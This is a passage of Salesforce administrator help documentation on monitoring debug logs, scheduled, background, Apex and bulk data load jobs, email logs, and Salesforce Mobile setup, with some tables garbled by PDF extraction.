Execution Units An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. The execution is delimited by EXECUTION_START and EXECUTION_FINISHED. Code Units A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService method, or a validation rule. Note: A class is not a discrete unit of code.

Units of code are indicated by CODE_UNIT_STARTED and CODE_UNIT_FINISHED. Units of work can imbed other units of work. For example:
EXECUTION_STARTED CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for [new] CODE_UNIT_FINISHED <-- The trigger ends CODE_UNIT_FINISHED <-- The executeAnonymous ends EXECUTION_FINISHED

Units of code include, but are not limited to, the following: Triggers Workflow invocations and time-based workflow Validation rules Approval processes Apex lead convert @future method invocations Web service invocations executeAnonymous calls Visualforce property accesses on Apex controllers Visualforce actions on Apex controllers Execution of the batch Apex start and finish methods, as well as each execution of the execute method

840

Monitoring

Monitoring Debug Logs

Execution of the Apex System.Schedule execute method Incoming email handling

Log Lines Included inside the units of code. These indicate what code or rules are being executed, or messages being specifically written to the debug log. For example:

Figure 2: Debug Log Line Example Log lines are made up of a set of fields, delimited by a pipe (|). The format is: timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's time zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start of the request. The elapsed time value is excluded from logs reviewed in the Developer Console. event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and character number where the code was executed.

Additional Log Data In addition, the log contains the following information: Cumulative resource usageLogged at the end of many code units, such as triggers, executeAnonymous, batch Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert. Cumulative profiling informationLogged once at the end of the transaction. Contains information about the most expensive queries (that used the most resources), DML invocations, and so on.

The following is an example debug log:


22.0 APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO; WORKFLOW,INFO 11:47:46.030 (30064000)|EXECUTION_STARTED 11:47:46.030 (30159000)|CODE_UNIT_STARTED|[EXTERNAL]|TRIGGERS 11:47:46.030 (30271000)|CODE_UNIT_STARTED|[EXTERNAL]|01qD00000004JvP|myAccountTrigger on Account trigger event BeforeUpdate for [001D000000IzMaE] 11:47:46.038 (38296000)|SYSTEM_METHOD_ENTRY|[2]|System.debug(ANY) 11:47:46.038 (38450000)|USER_DEBUG|[2]|DEBUG|Hello World! 11:47:46.038 (38520000)|SYSTEM_METHOD_EXIT|[2]|System.debug(ANY) 11:47:46.546 (38587000)|CUMULATIVE_LIMIT_USAGE 11:47:46.546|LIMIT_USAGE_FOR_NS|(default)| Number of SOQL queries: 0 out of 100 Number of query rows: 0 out of 50000 Number of SOSL queries: 0 out of 20 Number of DML statements: 0 out of 150 Number of DML rows: 0 out of 10000 Number of script statements: 1 out of 200000 Maximum heap size: 0 out of 6000000

841

Monitoring

Monitoring Scheduled Jobs

Number Number Number Number Number Number Number

of of of of of of of

callouts: 0 out of 10 Email Invocations: 0 out of 10 fields describes: 0 out of 100 record type describes: 0 out of 100 child relationships describes: 0 out of 100 picklist describes: 0 out of 100 future calls: 0 out of 10

11:47:46.546|CUMULATIVE_LIMIT_USAGE_END 11:47:46.038 BeforeUpdate 11:47:47.154 11:47:47.154 (38715000)|CODE_UNIT_FINISHED|myAccountTrigger on Account trigger event for [001D000000IzMaE] (1154831000)|CODE_UNIT_FINISHED|TRIGGERS (1154881000)|EXECUTION_FINISHED

See Also:
Setting Debug Log Filters Monitoring Debug Logs Setting Debug Log Filters Developer's Guide: Force.com Apex Code Developer's Guide

Monitoring Scheduled Jobs


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Analytic Snapshots and Dashboards are not available in Database.com

User Permissions Needed To monitor scheduled jobs: View Setup and Configuration

The All Scheduled Jobs page lists all analytic snapshots, scheduled Apex jobs, and dashboards scheduled to refresh. To view this page, click Your Name > Setup > Monitoring > Scheduled Jobs. Depending on your permissions, you can perform some or all of the following actions: Click Del to permanently delete all instances of a scheduled job. View the details of a scheduled job, such as: The name of the scheduled job The name of the user who submitted the scheduled job The date and time at which the scheduled job was originally submitted The date and time at which the scheduled job started The next date and time at which the scheduled job will run

842

Monitoring

Monitoring Background Jobs

The type of scheduled job, such as an analytic snapshot, a scheduled Apex job, or dashboard scheduled to refresh

See Also:
Analytic Snapshots Overview Scheduling a Dashboard Refresh

Monitoring Background Jobs


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To monitor background jobs: View Setup and Configuration

To view any background jobs in your organization (such as sharing rule recalculation jobs), select Your Name > Setup > Monitoring > Background Jobs. The All Background Jobs page shows the details of background jobs. You can only monitor background jobs on this page. To abort a job, contact salesforce.com.

Apex Job Queue


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

The Apex job queue lists all Apex jobs that have been submitted for execution. Jobs that have completed execution are listed, as well as those that are not yet finished, including: Apex methods with the future annotation that have not yet been executed. Such jobs are listed as Future in the Job Type column, and do not have values in the Total Batches or Batches Processed columns. Scheduled Apex jobs that have not yet finished executing. Such jobs are listed as Scheduled Apex in the Job Type column, and do not have values in the Total Batches or Batches Processed columns. Apex sharing recalculation batch jobs that have not yet finished execution. Such jobs are listed as Sharing Recalculation in the Job Type column. The records in a sharing recalculation job are automatically split into batches. The Total Batches column lists the total number of batches for the job. The Batches Processed column lists the number of batches that have already been processed. Batch Apex jobs that have not yet finished execution. Such jobs are listed as Batch Apex in the Job Type column. The records in a batch Apex job are automatically split into batches. The Total Batches column lists the total number of batches for the job. The Batches Processed column lists the number of batches that have already been processed. Note: Sharing recalculation batch jobs are currently available through a limited release program. For information on enabling Apex sharing recalculation batch jobs for your organization, contact salesforce.com. The Status column lists the current status of the job. The possible values are:

843

Monitoring

What Are Email Logs?

Status Queued Preparing

Description Job is awaiting execution The start method of the job has been invoked. This status might last a few minutes depending on the size of the batch of records. Job is being processed Job was aborted by a user Job completed with or without failures Job experienced a system failure

Processing Aborted Completed Failed

If one or more errors occur during batch processing, the Status Details column gives a short description of the first error. A more detailed description of that error, along with any subsequent errors, is emailed to the user who started the running batch class. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. This is especially useful if you want to view only future methods, or view only Apex batch jobs. To edit or delete any view you created, select it from the View drop-down list and click Edit. Only one batch Apex job's start method can run at a time in an organization. Batch jobs that havent started yet remain in the queue until they're started. Note that this limit doesnt cause any batch job to fail and execute methods of batch Apex jobs still run in parallel if more than one job is running. For any type of Apex job, you can click Abort Job in the Action column to stop all processing for that job. All batch jobs that have completed execution are removed from the batch queue list seven days after completion. For more information about Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Monitoring Scheduled Jobs Apex Code Overview Developer's Guide: Force.com Apex Code Developer's Guide

What Are Email Logs?


Available in: All Editions except for Database.com

User Permissions Needed To access email logs: Modify All Data

Email logs are CSV files that contain information about all email sent through Salesforce over the last 30 days. Logs contain data such as:

844

Monitoring

What Are Email Logs?

The email address of each email sender and recipient The date and time each email was sent The delivery status of each email Any error code associated with each email

You can use email logs to troubleshoot encountered errors. To manage email logs, click Your Name > Setup > Monitoring > Email Log Files. To request a new email log, click Request an Email Log. Due to the volume of email processed through Salesforce, requests are queued in the order that they are received. Email logs should be available within 30 minutes of your request. For more information, see Requesting an Email Log on page 845. The pending email log requests list provides the status on email log requests that have not yet completed. You can have a maximum of three pending log requests at any time. The email log errors list provides descriptions for requests that failed. To resubmit a request that failed, click Resubmit. To delete a request that failed, click Del. Caution: You cannot resubmit a failed request if it requires data that has exceeded the 30 day limit, or if you already have three pending requests. To download an email log, click Download (.zip). Email logs are CSV files contained within a compressed file. Logs contribute to your overall file storage limits. For more information, see Monitoring Resources on page 704. To delete an email log, click Del.

For a summary of the information returned from an email log, see Viewing Email Logs on page 846.

Requesting an Email Log


Available in: All Editions except for Database.com

User Permissions Needed To access email logs: Modify All Data

To request a new email log for your organization: 1. Click Your Name > Setup > Monitoring > Email Log Files. 2. Click Request an Email Log. You can have a maximum of three pending log requests at one time. If you already have three pending requests, you cannot request another log until at least one of those requests completes. 3. Enter a Start Time and End Time range for the email log you want to retrieve. Email logs are available for messages sent within the past 30 days prior to your request.

845

Monitoring

What Are Email Logs?

Note: Each email log can span a maximum of seven days. To see email log data from a period of time greater than seven days, create multiple requests. 4. Optionally, you can filter an email log to only include rows where a specific domain name or email address appears in a field, such as Recipient or Message ID Header. To enter more than one filter term, separate each value with a comma. If you leave this field blank, the log is not filtered and all email addresses are returned within the specified time range. 5. Enter the email addresses that you want to receive notification when the email log request is complete. Separate each email address with a comma. To clear a request and return to the email log overview page, click Cancel.

See Also:
Viewing Email Logs

Viewing Email Logs


Available in: All Editions except for Database.com

User Permissions Needed To access email logs: Modify All Data

The following table describes the format of the log file and lists examples of its fields: Column A B C Field
Date/Time

Description The date and time the message was sent in GMT

Example 3/06/2009 13:37

Internal Message ID

The unique internal ID of the 16/A4-20983-88E21E84 message Indicates the final email event T in the mail server. Events can be one of the following values: R - Reception The email was successfully received. D - Delivery The email was successfully sent.

Event

846

Monitoring

What Are Email Logs?

Column

Field

Description T - Transient Failure The email transmission was delayed. Salesforce will retry delivery over a 24-hour period. The first retry occurs five minutes after the first transient failure, the second occurs ten minutes after that, the third twenty minutes after that, and so on. P - Permanent Failure The email could not be delivered.

Example

Recipient

The email address of the person to whom the email is sent The email address of the person who sent the email The IP address of the application server that delivered the email to the email server The size of the email

admin@acme.com

E F

Sender

user@acme.com 10.0.0.1

Remote Host

G H I

Bytes Transferred User ID

11856

The Salesforce ID of the user 00540000000rSXT who sent the email The ID header at the beginning of every email
21749386. 106091224027705044. JavaMail. sfdc@na2-app4-2-sjl. ops.sfdc.net

Message ID Header

J K

Retry Count

The number of attempts made 11 to deliver the email The number of seconds the 300 email had to wait before being delivered The final stage the delivery was in before it was logged. Below are the values of the stages in the order that they
during RCPT TO

Seconds in Queue

Delivery Stage

847

Monitoring

What Are Email Logs?

Column

Field

Description appear during the SMTP sequence: BANNER The SMTP connection response EHLO The beginning of the session with the mail server STARTTLS Establishes a secure communication session with the email server MAIL FROM Announces the sender of the email RCPT TO Announces the recipient of the email DATA Announces that the subsequent text is the email message BODY The state when the body of the email is being sent to the recipient RSET Resets the server state, ending the session In addition, there are responses that may appear at any point during the delivery sequence: while not connected The client is trying to establish a connection

Example

848

Monitoring

What Are Email Logs?

Column

Field

Description while idle The client has connected, but is not sending or receiving any commands reading confirmation A command was sent and the client is waiting for a response handshaking TLS An error occurred while trying to establish a secure connection out of band bounce The receiving server accepted a command, but then for an unknown reason rejected it in unknown state An unknown error has occurred

Example

M N

Relay Host

The hostname of the designated relay system The port of the designated relay system

relay.my.org 587

Relay Port

849

Monitoring

What Are Email Logs?

Column O

Field
Delivery Status Notification

Description

Example

After every delivery stage, a 421 no adequate three-digit response code is servers sent from the mail server. The first number indicates whether the command was successful or unsuccessful; the second digit indicates the type of error; and the third provides additional information to resolve the potential problem. The five possible values of the first digit are:
1xx - Positive

Preliminary reply The command was accepted, but no response has been sent
2xx - Positive

Completion reply The requested action has successfully completed


3xx - Positive

Intermediate reply The command was accepted, but the requested action needs more information
4xx - Transient

Negative Completion reply The command was not accepted and the requested action did not occur. However, the error condition is temporary and the action may be requested again.
5xx - Permanent

Negative Completion reply The command was not accepted and the requested action did not

850

Monitoring

Monitoring Bulk Data Load Jobs

Column

Field

Description occur Every email service provider implements the codes differently, so there is no comprehensive list for what the second or third digits indicate. For more information on these codes, view the official SMTP documentation, section 4.2.1: http:// www.ietf.org/rfc/rfc2821.txt ?number=2821

Example

See Also:
What Are Email Logs?

Monitoring Bulk Data Load Jobs


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To monitor bulk data load jobs: Manage Data Integrations

You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs. Process a set of records by creating a job that contains one or more batches. The job specifies which object is being processed (for example, Account, Opportunity) and what type of action is being used (query, insert, upsert, update, or delete). A batch is a set of records sent to the server in an HTTP POST request. Each batch is processed independently by the server, not necessarily in the order it is received. To track the status of bulk data load jobs that are in progress or recently completed, click Your Name > Setup > Monitoring > Bulk Data Load Jobs. The In Progress Jobs list contains the following columns, shown in alphabetical order: Column
Job ID

Description The unique, 15character ID for this job.

851

Monitoring

Monitoring Bulk Data Load Jobs

Column
Object Operation

Description The object type for the data being processed. All data in a job must be of a single object type. The processing operation for all the batches in the job. The valid values are: delete insert query upsert update hardDelete The percentage of batches processed relative to the total number of batches submitted. Progress is not shown when the job is open because the total number of batches in the job is not known until the job is closed. Progress may not accurately reflect the number of records processed. Batches may not all contain the same number of records and they may be processed at different speeds. The number of records already processed. This number increases as more batches are processed. The date and time when the job was submitted. The current state of processing for the job. The valid values are: Open: The job has been created, and batches can be added to the job. Closed: No new batches can be added to this job. Batches associated with the job may be processed after a job is closed. You cannot edit or save a closed job. Completed: All batches have been processed. Aborted: The job has been aborted. Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Progress

Records Processed Start Time Status

Submitted By The name of the user that submitted the job.

The Completed Jobs list contains the following columns, shown in alphabetical order. Completed jobs are removed from the list seven days after completion. Column
End Time Job ID Object Operation

Description The date and time when the job completed. The unique, 15character ID for this job. The object type for the data being processed. All data in a job must be of a single object type. The processing operation for all the batches in the job. The valid values are: delete insert query upsert update hardDelete

852

Monitoring

Monitoring Bulk Data Load Jobs

Column
Records Processed Start Time Status

Description The number of records already processed. This number increases as more batches are processed. The date and time when the job was submitted. The current state of processing for the job. The valid values are: Open: The job has been created, and batches can be added to the job. Closed: No new batches can be added to this job. Batches associated with the job may be processed after a job is closed. You cannot edit or save a closed job. Completed: All batches have been processed. Aborted: The job has been aborted. Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job. Time to Complete

The total time to complete the job.

See Also:
Viewing Bulk Data Load Job Details Developer's Guide: Force.com Bulk API Developer's Guide

Viewing Bulk Data Load Job Details


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To monitor bulk data load jobs: Manage Data Integrations

You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs. To view the details of a bulk data load job: 1. Click Your Name > Setup > Monitoring > Bulk Data Load Jobs. 2. Click a Job ID link for a job. The job detail page contains the following fields, shown in alphabetical order:

853

Monitoring

Monitoring Bulk Data Load Jobs

Field
Apex Processing Time (ms) API Active Processing Time (ms)

Description The number of milliseconds taken to process triggers and other processes related to the job data. This is the sum of the equivalent times in all batches in the job. This doesn't include the time used for processing asynchronous and batch Apex operations. If there are no triggers, the value is 0. The number of milliseconds taken to actively process the job and includes the time tracked in the Apex Processing Time (ms) field, but doesn't include the time the job waited in the queue to be processed or the time required for serialization and deserialization. This is the sum of the equivalent times in all batches in the job. The API version for the job. The number of batches that have been completed for this job. The concurrency mode for processing batches. The valid values are: parallel: Batches are processed in parallel mode. This is the default value. serial: Batches are processed in serial mode.

API Version Completed Batches Concurrency Mode

Content Type The content type for the job. The valid values are:


End Time External ID Field Failed Batches Job ID In Progress Batches Object Operations

CSVdata in CSV format XMLdata in XML format (default option) ZIP_CSVdata in CSV format in a zip file containing binary attachments ZIP_XMLdata in XML format in a zip file containing binary attachments

The date and time when the job completed. The name of the external ID field for an upsert(). The number of batches that have failed for this job. The unique, 15character ID for this job. The number of batches that are in progress for this job. The object type for the data being processed. All data in a job must be of a single object type. The processing operation for all the batches in the job. The valid values are: delete insert query upsert update hardDelete The percentage of batches processed relative to the total number of batches submitted. Progress is not shown when the job is open because the total number of batches in the job is not known until the job is

Progress

854

Monitoring

Monitoring Bulk Data Load Jobs

Field

Description closed. Progress may not accurately reflect the number of records processed. Batches may not all contain the same number of records and they may be processed at different speeds.

Queued Batches Records Failed Records Processed Retries

The number of batches queued for this job. The number of records that were not processed successfully in this job. The number of records processed at the time the request was sent. This number increases as more batches are processed. The number of times that Salesforce attempted to save the results of an operation. The repeated attempts are due to a problem, such as a lock contention. The date and time when the job was submitted. The current state of processing for the job. The valid values are: Open: The job has been created, and batches can be added to the job. Closed: No new batches can be added to this job. Batches associated with the job may be processed after a job is closed. You cannot edit or save a closed job. Completed: All batches have been processed. Aborted: The job has been aborted. Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Start Time Status

Submitted By The name of the user that submitted the job. Time to Complete Total Processing Time (ms)

The total time to complete the job. The number of milliseconds taken to process the job. This is the sum of the total processing times for all batches in the job.

The job detail page includes a related list of all the batches for the job. The related list provides View Request and View Response links for each batch. If the batch is a CSV file, the links return the request or response in CSV format. If the batch is an XML file, the links return the request or response in XML format. These links are available for batches created in API version 19.0 and later. The batch related list contains the following fields, shown in alphabetical order: Field
Apex Processing Time (ms) API Active Processing Time (ms)

Description The number of milliseconds taken to process triggers and other processes related to the batch data. If there are no triggers, the value is 0. This doesn't include the time used for processing asynchronous and batch Apex operations. The number of milliseconds taken to actively process the batch, and includes Apex processing time. This doesn't include the time the batch waited in the queue to be processed or the time required for serialization and deserialization.

855

Monitoring

Monitoring Bulk Data Load Jobs

Field
Batch ID End Time

Description The ID of the batch. May be globally unique, but does not have to be. The date and time in the UTC time zone that processing ended. This is only valid when the state is Completed. The number of records that were not processed successfully in this batch. The number of records processed in this batch at the time the request was sent. This number increases as more batches are processed. The number of times that Salesforce attempted to save the results of an operation. The repeated attempts are due to a problem, such as lock contention or a batch taking too long to process. The date and time in the UTC time zone when the batch was created. This is not the time processing began, but the time the batch was added to the job. Contains the reasons for failure if the batch didn't complete successfully. The current state of processing for the batch: Queued: Processing of the batch has not started yet. If the job associated with this batch is aborted, this batch isn't processed and its state is set to Not Processed. In Progress: The batch is currently being processed. If the job associated with this batch is aborted, this batch is still processed to completion. Completed: The batch has been processed completely and the result resource is available. The result resource indicates if some records have failed. A batch can be completed even if some or all the records have failed. If a subset of records failed, the successful records aren't rolled back. Failed: The batch failed to process the full request due to an unexpected error, such as the request being compressed with an unsupported format, or an internal server error. Not Processed: The batch failed to process the full request due to an unexpected error, such as the request being compressed with an unsupported format, or an internal server error. The number of milliseconds taken to process the batch. This excludes the time the batch waited in the queue to be processed.

Records Failed Records Processed Retry Count

Start Time

State Message Status

Total Processing Time (ms)

View Request Click the link for a batch to see the request. View Result

Click the link for a batch to see the results.

See Also:
Monitoring Bulk Data Load Jobs Developer's Guide: Force.com Bulk API Developer's Guide

Monitoring Automated Process Actions


856

Monitoring

Monitoring Automated Process Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage automated-process actions: Modify All Data

Salesforce Knowledge users can schedule articles to be published or archived on a specific date. Use the automated-process actions queue to view these pending actions and cancel them if necessary. To view pending actions: 1. Click Your Name > Setup > Monitoring > Automated Process Actions. 2. Click Search to view all pending actions for any article, or set the filter criteria and click Search to view only the pending actions that match the criteria. The filter options are: Process Definition The process that is triggering the action. This value is always KBWorkflow. Object The object that triggered the pending action. This value is always Knowledge Article. Scheduled Date The date the pending actions are scheduled to occur. Create Date The date the article that triggered the pending action was created. Created By The user who created the article that triggered the pending action. Record Name The name of the article that triggered the pending action. The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2645. To cancel pending actions: 1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all currently displayed items. 2. Click Delete. Salesforce cancels the pending action.

See Also:
What is Salesforce Knowledge? Useful Salesforce Knowledge Terminology Publishing Articles and Translations

857

Salesforce Mobile

Salesforce Mobile Overview

SALESFORCE MOBILE
Salesforce Mobile Overview
Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

Use Salesforce Mobile to help your mobile teams succeed by keeping them in touch with the latest data, whenever and wherever they need it, directly from mobile devices such as a BlackBerry, Treo, iPhone, or Windows Mobile. With Salesforce Mobile, field professionals are prompted to log information directly in Salesforce or Force.com AppExchange apps immediately after important customer calls, emails, and appointments, so critical information is logged in near real time. Salesforce Mobile is a Salesforce feature that enables users to access their Salesforce data from mobile devices running the mobile client application. The Salesforce Mobile client application exchanges data with Salesforce over wireless carrier networks, and stores a local copy of the users data in its own database on the mobile device. Users can edit local copies of their Salesforce records when a wireless connection is unavailable, and transmit those changes when a wireless connection becomes available. To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are sets of parameters that determine the data Salesforce transmits to users' mobile devices, and which users receive that data on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while another mobile configuration sends cases to customer support representatives. After you add users to a mobile configuration, send them a mass email with a link to install the correct mobile client application on their mobile devices. After installing the client application, users can use the client interface to easily register their devices with Salesforce. Administrators can view information about registered devices and manage mobile users. A separate Salesforce Mobile license is required for each user who uses a mobile device to access Salesforce. For organizations using Unlimited and Developer Editions, salesforce.com provides one mobile license for each Salesforce license. Organizations using Professional or Enterprise Editions must purchase mobile licenses separately. To allocate Salesforce Mobile licenses to users within your organization, select the Mobile User checkbox when editing a user's personal information. For Professional, Enterprise, Unlimited, or Developer Edition users without mobile licenses, Salesforce offers Mobile Lite, a free, restricted version of Salesforce Mobile.

858

Salesforce Mobile

Mobile Lite Overview

Note: The iPhone and BlackBerry mobile client applications are available in English, Japanese, French, German, and Spanish. The Windows Mobile client application is available in English and Japanese. Contact salesforce.com to enable Salesforce Mobile for your organization.

See Also:
Salesforce Mobile Implementation Guide Salesforce Mobile User Guide for BlackBerry Tip Sheet: Salesforce Mobile for BlackBerry Salesforce Mobile User Guide for Windows Mobile Tip Sheet: Salesforce Mobile for Windows Mobile Salesforce Mobile User Guide for iPhone

Mobile Lite Overview


Available in: All Editions except Database.com

Mobile Lite is a free, restricted version of Salesforce Mobile that is available to any Salesforce user who doesn't have a mobile license. Mobile Lite users can view, create, edit, and delete accounts, assets, contacts, leads, opportunities, events, tasks, cases, and solutions. They also have access to their dashboards. You can enable Mobile Lite for your organization by editing your mobile settings. The mobile settings also let you control whether Mobile Lite users have access to all available CRM tabs, or just to dashboards. Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent users from accessing Salesforce from a mobile device. Mobile Lite doesn't include all of the functionality offered in Salesforce Mobile. Mobile Lite: Supports fewer standard objects Doesn't provide support for custom objects Doesn't allow administrators to customize or create mobile configurations

Mobile Lite users are automatically assigned to the default mobile configuration when they activate their Salesforce account from a supported mobile device. Mobile configurations determine the data sent to each mobile user. Administrators can't view or edit the default mobile configuration. Note: Mobile Lite is not supported for partner portal users.

See Also:
Salesforce Mobile Overview Managing Mobile Devices Chatter Mobile App Overview

859

Salesforce Mobile

Mobile Lite Overview

Supported Devices for Mobile


Available in: All Editions except Database.com

The mobile application can run on BlackBerry, iPhone, and Windows Mobile operating systems, and it's supported by virtually all wireless carriersif the device can establish a data connection to the Internet, it can typically run the mobile application. Recently-released mobile devices may not be immediately supported because every device goes through the official certification and quality assurance process. For the most current information on supported devices, contact salesforce.com. Below is a list of supported devices per platform. Verify that your device is supported before installing the mobile application. BlackBerry Smartphones The mobile application can run on BlackBerry operating system versions 4.3 through 6.0. Upgrading to the latest version of the BlackBerry operating system can improve device performance. At a minimum, 2 to 3 MB of free memory should be available on the device. The mobile client application is supported on these BlackBerry smartphones: BlackBerry 8100 Series (Pearl) BlackBerry 8300 Series (Curve) BlackBerry 8500 Series (Curve) BlackBerry 8800 Series BlackBerry 8900 Series (Javelin) BlackBerry 9000 Series (Bold) BlackBerry 9300 Series (Curve 3G) BlackBerry 9500 Series (Storm) BlackBerry 9600 Series (Tour) BlackBerry 9700 Series (Bold) BlackBerry 9800 Series (Torch) Note: Mobile users running versions 4.04.3 of the operating system can still download and install the mobile application; however, the mobile server will detect the older operating system and send version 11.6 of the mobile application, which was the last release that supported operating system versions 4.04.3. Users on version 11.6 of the mobile application can't use any of the new features included in the current release or future releases. Although Salesforce supports the BlackBerry Storm, some mobile features are not optimized for the touch screen interface. Mobile features were tested against version 4.7.0.87 of the BlackBerry operating system. Starting in Winter '09, Salesforce no longer officially supports the BlackBerry 8700 series, although the mobile application may continue to run on those device models. BlackBerry 9500 (Storm) and 9800 (Torch) Series utilize the same Salesforce CRM Mobile software as other BlackBerry devices, so some aspects of Salesforce CRM Mobile are not optimized for the touch interface.

Windows Mobile Phones The mobile application requires Windows Mobile Standard or Professional editions in versions 6.0, 6.1, or 6.5. Windows Mobile 6 Professional devices have a touch-screen interface, while Windows Mobile 6 Standard devices do not. Windows Mobile 5 Pocket PC users should contact their carriers for a software upgrade to Windows Mobile 6 Professional. At a minimum, 5 MB of free memory should be available on the device. The mobile client application is supported on these Windows Mobile 6 Professional devices:

860

Salesforce Mobile

Mobile Lite Overview

AT&T Tilt PPC6800 (HTC Mogul)

The mobile client application is supported on these Windows Mobile 6 Standard devices: MOTO Q 9 BlackJack II

The mobile client application is supported on these Windows Mobile 6.1 Professional devices: HTC Fuze MC35/MC55/MC75 (Motorola)

The mobile application may work on Windows Mobile devices that are not listed here. To verify compatibility, contact your account executive for a free trial before purchasing any mobile licenses. iPhones and iOS The mobile application requires the latest iPhone operating system available on iTunes. If the App Store icon is available on the home screen, you can use the mobile application on your device. Be sure your device has at least 10 MB of available space before installing the mobile client application. The mobile application is supported on these devices: iPhone iPhone 3G iPhone 3GS iPhone 4 iPod Touch iPad with iPhone application in compatibility mode iPad 2 with iPhone application in compatibility mode Note: Use of the Salesforce Mobile for iPhone product is subject to certain limitations: Third parties (including, but not limited to, Apple Inc. and your network connectivity provider) may at any time restrict, interrupt or prevent use of Salesforce Mobile for the iPhone and iPod touch devices, or delete the Salesforce Mobile software from iPhone or iPod touch devices, or require salesforce.com to do any of the foregoing, without entitling the customer to any refund, credit or other compensation from such third party or salesforce.com. Service level agreements do not apply to the Salesforce Mobile for iPhone product. Additional limitations are described in the Order Form Supplement for Salesforce Mobile for iPhone, which users are required to accept upon download or installation of the Salesforce Mobile for iPhone product.

Managing Mobile Permissions

861

Salesforce Mobile

Mobile Lite Overview

Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To create, change, or delete mobile configurations: View Setup and Configuration Manage Mobile Configurations

Users can access their Salesforce data from an iPhone, BlackBerry, or Windows Mobile device in a mobile client application. There are two versions of the mobile application: Salesforce Mobile: Salesforce Mobile lets mobile users access data for custom objects and some standard objects. Administrators can create mobile configurations that determine which records, fields, objects, and tabs are available in the mobile application. Mobile Lite: Mobile Lite is the free version of the mobile product, and it doesn't include all of the functionality offered in Salesforce Mobile. Mobile Lite supports fewer standard objects, doesn't provide support for custom objects, and doesn't allow administrators to customize or create mobile configurations.

For organizations using Unlimited and Developer Editions, Salesforce provides one mobile license for each Salesforce license. You can allocate mobile licenses using the Mobile User checkbox on the user's record. The Mobile User checkbox is enabled by default for Unlimited and Developer Edition users. To prevent users from activating Salesforce Mobile on their mobile devices before you are ready to deploy mobile in your organization, disable the checkbox for all your users. Mobile Lite users don't need a mobile license to use the product; they can download Mobile Lite for free and activate their Salesforce account. Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent users from accessing Salesforce from a mobile device. To disable Mobile Lite: 1. 2. 3. 4. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Settings. Click Edit. Deselect Enable Mobile Lite. Click Save.

See Also:
Salesforce Mobile Overview Mobile Lite Overview

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

862

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

You can install the Salesforce Mobile and Mobile Lite applications on any supported iPhone, BlackBerry smartphone, or Windows Mobile device.

iPhone Installation
Salesforce Mobile is available for download from Apple's App Store. To use the App Store, your iPhone or iPod touch must be connected to the network. You also need an iTunes Store account to download applications. If you don't already have an iTunes Store account, open iTunes on your computer and select Store > Account to set one up. To download Salesforce Mobile from the App Store: 1. 2. 3. 4. 5. 6. From the Home screen of your iPhone or iPod touch, select the App Store icon. Select Search. Select the Search field to open the keyboard. Type salesforce. Select Salesforce Mobile or Mobile Lite in the list of search results. Select Salesforce Mobile or Mobile Lite to view information about the application. Select Free, and then tap Install. Note: It doesn't cost money to download the application from the App Store. Enterprise, Professional, Unlimited, and Developer Edition users with mobile licenses can run Salesforce Mobile, the full version of the mobile application. Users without a mobile license can run Mobile Lite, the free, restricted version of the mobile application. 7. Enter your iTunes Store account and password and select OK. 8. The first time you launch the mobile application on your device, you must activate your Salesforce account by logging in and downloading data. Verify that your phone is connected to a network. 9. Select the Salesforce icon on the Home screen. 10. Select I Accept. 11. On the activation screen, enter your Salesforce username and password. 12. Select Activate. Caution: If the application closes or the device locks during the activation process, the iPhone operating system pauses the download process, but it will resume the next time you open the app.

Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom fields.

BlackBerry Installation
Salesforce Mobile is available for download from BlackBerry App World. You need an App World account to download apps on your BlackBerry, but you can create an account from your device if you don't already have one. To install the mobile app from BlackBerry App World: 1. Select the BlackBerry App World icon.

863

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

